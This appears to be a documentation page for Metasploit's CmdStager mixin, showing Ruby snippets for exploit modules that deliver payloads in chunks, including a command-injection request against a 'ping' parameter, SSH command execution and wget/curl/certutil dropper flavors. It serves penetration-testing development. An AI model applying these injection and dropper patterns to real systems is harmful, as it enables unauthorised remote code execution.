Skip to content

Msf::Exploit::CmdStager divides a long payload into multiple OS commands for delivery to the target. The module only needs to implement execute_command to send one command. Its implementation is lib/msf/core/exploit/cmd_stager.rb.

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def execute_command(cmd, _opts = {})
# Send cmd to the target's injection point
end
def exploit
execute_cmdstager(linemax: 1500)
end

The mixin’s default execute_command raises NotImplementedError. Always override it.

Choose a flavor through the target or when calling the stager. Common examples:

FlavorSuitable for
bourneLinux / Unix shells
echo / printfWriting small fragments on Unix
vbsOlder Windows systems
certutilWindows
tftp / wget / curlEnvironments with download tools
'Targets' => [
[
'Linux Command',
{
'Platform' => 'linux',
'Arch' => [ARCH_CMD]
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X64],
'CmdStagerFlavor' => ['bourne', 'wget', 'curl']
}
]
]
def filter_bad_chars(cmd)
cmd.gsub(/&/, '%26')
end
def execute_command(cmd, _opts = {})
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'ping'),
'vars_get' => {
'ip' => "127.0.0.1;#{filter_bad_chars(cmd)}"
}
)
end
def exploit
if target['Arch'] == ARCH_CMD
execute_command(payload.encoded)
else
execute_cmdstager(linemax: 1500, background: true)
end
end

This follows the approach in modules/exploits/multi/ssh/sshexec.rb.

def execute_command(cmd, _opts = {})
vprint_status("Executing #{cmd}")
ssh_socket.exec!(cmd)
end
execute_cmdstager(
flavor: :bourne,
linemax: 1500,
background: true,
temp: '/tmp',
noconcat: false
)
ArgumentMeaning
flavorStaging method
linemaxMaximum length of one command
backgroundPrefer to run the final command in the background
tempTemporary directory

If one command is enough, execute_command(payload.encoded) is sufficient. Use CmdStager when the payload will not fit in a single command.

PatternImplementation note
Command payload onlyexecute_command(payload.encoded); CmdStager is often unnecessary
Linux dropperbourne / curl / wget in CmdStagerFlavor, then execute_cmdstager
Windows droppervbs / certutil and similar methods; keep linemax short
Over SSHUse ssh_socket.exec!(cmd) inside execute_command
Many bad charactersfilter_bad_chars + Payload => BadChars
Background executionexecute_cmdstager(background: true)

For details on writing execute_command, see execute_command.